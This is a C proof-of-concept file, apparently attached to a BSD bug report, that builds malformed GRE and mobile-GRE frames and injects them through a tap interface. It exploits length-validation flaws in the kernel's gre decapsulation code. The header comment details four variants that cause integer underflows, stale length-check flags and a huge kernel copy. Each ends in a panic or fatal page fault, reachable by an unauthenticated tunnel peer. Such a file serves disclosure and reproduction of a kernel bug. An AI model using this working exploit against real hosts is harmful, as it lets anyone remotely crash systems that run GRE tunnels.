DF-3423 / gre_poc.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 | /* * DF-3422 / DF-3423 PoC -- gre(4) decapsulation validation holes * (sys/netinet/ip_gre.c: gre_input2(), gre_mobile_input()). * * Variants (argv[1]): * * gre40 GRE mode. Outer ip_len=40, GRE flags CP|KP|SP make the * kernel's computed hlen = 20+4+12 = 36. m_data is pushed * 36 bytes into a 40-byte packet (4 bytes of "inner packet" * left), but the outer packet's M_LENCHECKED is kept * (ip_gre.c:192 clears only M_HASH), so ip_hashfn() * (ip_demux.c:295) skips ip_lengthcheck() and ip_input() * trusts the 4-byte "inner IP header": the fake header * (frame bytes 50.., fully attacker-controlled even past * ip_len because the ethernet frame padding stays in the * mbuf cluster) claims IHL=5 -> * panic: complete IP header not in one mbuf * (ip_input.c:539, INVARIANTS kernels). On production * kernels the KASSERT vanishes and the lying lengths flow * on (ip_dooptions walk, ip_reass m_len underflow, * negative TCP tlen -- the DF-3293/DF-3321 continuation). * * greuflow GRE mode. Outer ip_len=24 but flags again claim +12 -> * hlen=36 > 24: * m->m_len -= 36; -> -12 (int underflow) * m->m_pkthdr.len -= 36; -> -12 * m->m_data += 36; (past the data end) * (ip_gre.c:180-182). The same stale-M_LENCHECKED skip * then hands a negative-length mbuf to ip_input -> * same KASSERT (m_len < hlen) panic on INVARIANTS; on * production kernels a negative m_len/pkthdr.len flows into * ip_input and everything downstream. * * mobile MOBILE mode (ifconfig gre0 -link0). A *well-formed* * minimal mobile packet (outer ip_len=28 = 20 IP + 8-byte * mobile header, valid checksum). The decap computes the * inner ip_len as outer+20-msiz (ip_gre.c:247) -- * double-counting the outer IP header (DF's ip_input does * NOT pre-decrement ip_len, the comment's assumption is * stale NetBSD rip_input behaviour) -- so the inner header * claims 40 bytes while the mbuf has 20, and NEITHER * M_HASH nor M_LENCHECKED is ever cleared * (ip_gre.c:259-261) -> * panic: mbuf too short (ip_input.c:576) * on INVARIANTS kernels for ANY valid mobile-GRE packet. * Production: transports see ip_len 20 bytes longer than * the data (in-cluster OOB reads / lying lengths). * * mobileuflow MOBILE mode. Outer ip_len=20 (NO mobile header at all; * the 8 "header" bytes are read from the ethernet frame * padding past ip_len). With a padding-crafted valid * checksum, msiz=8 and * bcopy(src, dst, m->m_len - msiz - (ip->ip_hl<<2)) * gets length 20-8-20 = -8 -> (size_t)-8 * (ip_gre.c:237-238) -> massive kernel-mode copy -> * fatal page fault on ANY kernel (INVARIANTS or not). * * Path (unauthenticated, single frame from the "tunnel peer"): * tapwrite -> ether_input -> ip_lengthcheck validates the OUTER header * and sets M_LENCHECKED -> ip_input -> transport_processing_oncpu -> * encap4_input (proto 47/55) on netisr0 -> gre_lookup() match -> * gre_input2()/gre_mobile_input() decap bug -> netisr_queue(NETISR_IP) * with stale M_HASH/M_LENCHECKED -> ip_hashfn skips ip_lengthcheck -> * ip_input trusts the inner header. * * Setup (root, done by run.sh): * ifconfig tap0 create; ifconfig tap0 up * ifconfig tap0 inet 10.99.0.1 netmask 255.255.255.0 * kldload if_gre * ifconfig gre0 create * ifconfig gre0 tunnel 10.99.0.1 10.99.0.2 * ifconfig gre0 link0 up # GRE mode (gre40, greuflow) * ifconfig gre0 -link0 up # MOBILE mode (mobile, mobileuflow) * * Build: cc -O -o gre_poc gre_poc.c */ #include <sys/types.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <net/if.h> #include <net/ethernet.h> #include <net/if_dl.h> #include <arpa/inet.h> #include <netinet/in.h> #include <netinet/ip.h> #include <fcntl.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #define GRE_CP 0x8000 #define GRE_KP 0x2000 #define GRE_SP 0x1000 /* ones-complement checksum for the outer IP header */ static u_int16_t cksum(const u_int16_t *w, int len) { u_int32_t sum = 0; while (len > 1) { sum += *w++; len -= 2; } if (len == 1) sum += *(const u_char *)w; while (sum >> 16) sum = (sum & 0xffff) + (sum >> 16); return (u_int16_t)~sum; } /* byte-exact mirror of the kernel's gre_in_cksum() (if_gre.c) */ static u_short gre_cksum(const u_short *p, u_int len) { u_int sum = 0; int nwords = len >> 1; while (nwords-- != 0) sum += *p++; if (len & 1) { union { u_short w; u_char c[2]; } u; u.c[0] = *(u_char *)p; u.c[1] = 0; sum += u.w; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return ((u_short)~sum); } static void put16(u_char *b, u_int16_t v) { b[0] = v >> 8; b[1] = v & 0xff; } int main(int argc, char **argv) { unsigned char pkt[128]; struct ifreq ifr; struct ether_header *eh; struct ip *oip; u_char tapmac[ETHER_ADDR_LEN]; const char *mode; int fd, n, total; u_char *gre, *mob, *inner; u_int16_t oiplen, proto; mode = argc > 1 ? argv[1] : "gre40"; fd = open("/dev/tap0", O_RDWR); if (fd < 0) { perror("open /dev/tap0"); return 1; } /* tap0's MAC changes on every create - query it */ { struct sockaddr_dl *sdl; memset(&ifr, 0, sizeof(ifr)); if (ioctl(fd, SIOCGIFADDR, &ifr) < 0) { perror("SIOCGIFADDR"); return 1; } sdl = (struct sockaddr_dl *)&ifr.ifr_addr; memcpy(tapmac, LLADDR(sdl), ETHER_ADDR_LEN); } memset(pkt, 0, sizeof(pkt)); /* ---- ethernet: from the "gre peer" to us ---- */ eh = (struct ether_header *)pkt; memcpy(eh->ether_dhost, tapmac, ETHER_ADDR_LEN); eh->ether_shost[0] = 0x02; eh->ether_shost[1] = 0x00; eh->ether_shost[2] = 0x00; eh->ether_shost[3] = 0x00; eh->ether_shost[4] = 0x00; eh->ether_shost[5] = 0x02; put16(&pkt[12], ETHERTYPE_IP); /* ---- outer IP: src=peer(10.99.0.2) dst=us(10.99.0.1) ---- */ oip = (struct ip *)(pkt + sizeof(struct ether_header)); oip->ip_v = 4; oip->ip_hl = 5; oip->ip_tos = 0; oip->ip_id = htons(1); oip->ip_off = 0; oip->ip_ttl = 64; inet_aton("10.99.0.2", &oip->ip_src); inet_aton("10.99.0.1", &oip->ip_dst); gre = pkt + 14 + 20; /* GRE / mobile header at ip+20 */ mob = gre; inner = pkt + 14 + 36; /* where the kernel's m_data lands for the CP|KP|SP GRE variants */ if (strcmp(mode, "gre40") == 0 || strcmp(mode, "greuflow") == 0) { proto = 47; /* IPPROTO_GRE */ oiplen = strcmp(mode, "gre40") == 0 ? 76 : 24; put16(&gre[0], GRE_CP | GRE_KP | GRE_SP); /* hlen += 4+4+4 */ put16(&gre[2], ETHERTYPE_IP); /* inner = IPv4 */ /* gre[4..15]: fake checksum/offset, key and sequence fields * (skipped over by m_data += 36) */ /* * inner: the fake inner IPv4 header the kernel will trust * (frame offsets 50.., i.e. m_data+0 after the shift). * * gre40: m_len after decap = 76-36 = 40 (>= 20, so it gets * past ip_input.c:463); fake IHL=15 -> hlen 60 > m_len 40 * -> panic "complete IP header not in one mbuf" * (ip_input.c:539) on INVARIANTS kernels. * greuflow: hlen=36 > ip_len=24 -> m_len -= 36 -> -12 * (int underflow, ip_gre.c:181); the negative length is * then printed by ip_input.c:463-464 ("... atomicy (-12)") * and the packet dropped there -- the console line is the * proof that a negative-length mbuf traversed the netisr * pipeline (on other paths, e.g. bpf listeners on gre0 or * dummynet tags, the bogus m_len is consumed further). */ inner[0] = 0x4F; /* v4, IHL 15 -> hlen 60 */ inner[1] = 0; put16(&inner[2], 40); /* fake ip_len */ put16(&inner[4], 0); put16(&inner[6], 0); inner[8] = 64; /* ttl */ inner[9] = 253; /* proto (experimental) */ inner[10] = inner[11] = 0; total = strcmp(mode, "gre40") == 0 ? 14 + 76 : 14 + 24 + 40; } else if (strcmp(mode, "mobile") == 0 || strcmp(mode, "mobileuflow") == 0) { u_int16_t hcrc; proto = 55; /* IPPROTO_MOBILE */ oiplen = strcmp(mode, "mobile") == 0 ? 28 : 20; /* mobile_h (8 bytes, S-bit clear -> msiz = MOB_H_SIZ_S = 8): * proto=0x0000, hcrc, odst=10.99.0.1(0x0a630001) */ put16(&mob[0], 0x0000); mob[4] = 10; mob[5] = 99; mob[6] = 0; mob[7] = 1; /* odst */ /* craft hcrc so gre_in_cksum(mob, 8) == 0: * gre_in_cksum returns ~total; want ~total == 0 -> * total == 0xffff -> hcrc = 0xffff - sum(proto,odst). */ { u_int32_t s2; u_int16_t w0, w1, w2; memcpy(&w0, &mob[0], 2); memcpy(&w1, &mob[4], 2); memcpy(&w2, &mob[6], 2); s2 = w0 + w1 + w2; s2 = (s2 & 0xffff) + (s2 >> 16); s2 = (s2 & 0xffff) + (s2 >> 16); hcrc = (u_int16_t)(0xffff - s2); } /* NOTE: gre_in_cksum() sums NATIVE-endian u_short words, so * the hcrc must be stored native (little-endian on x86) for * the sum to fold to 0xffff -> kernel cksum returns 0. */ memcpy(&mob[2], &hcrc, 2); fprintf(stderr, "%s: mobile hdr proto=0 hcrc=0x%04x " "cksum(kernel-mirror)=0x%04x (want 0)\n", mode, hcrc, gre_cksum((const u_short *)mob, 8)); total = 14 + 20 + 8 + 8; /* 50 bytes: for mobileuflow the * mobile hdr is frame padding * past ip_len=20 */ } else { fprintf(stderr, "unknown variant %s\n", mode); return 1; } oip->ip_p = proto; oip->ip_len = htons(oiplen); oip->ip_sum = 0; oip->ip_sum = cksum((const u_int16_t *)oip, 20); fprintf(stderr, "%s: injecting frame: outer ip_len=%u proto=%u " "(frame %d bytes)\n", mode, oiplen, proto, total); n = write(fd, pkt, total); if (n < 0) { perror("write tap"); return 1; } fprintf(stderr, "%s: wrote %d bytes, done\n", mode, n); return 0; } |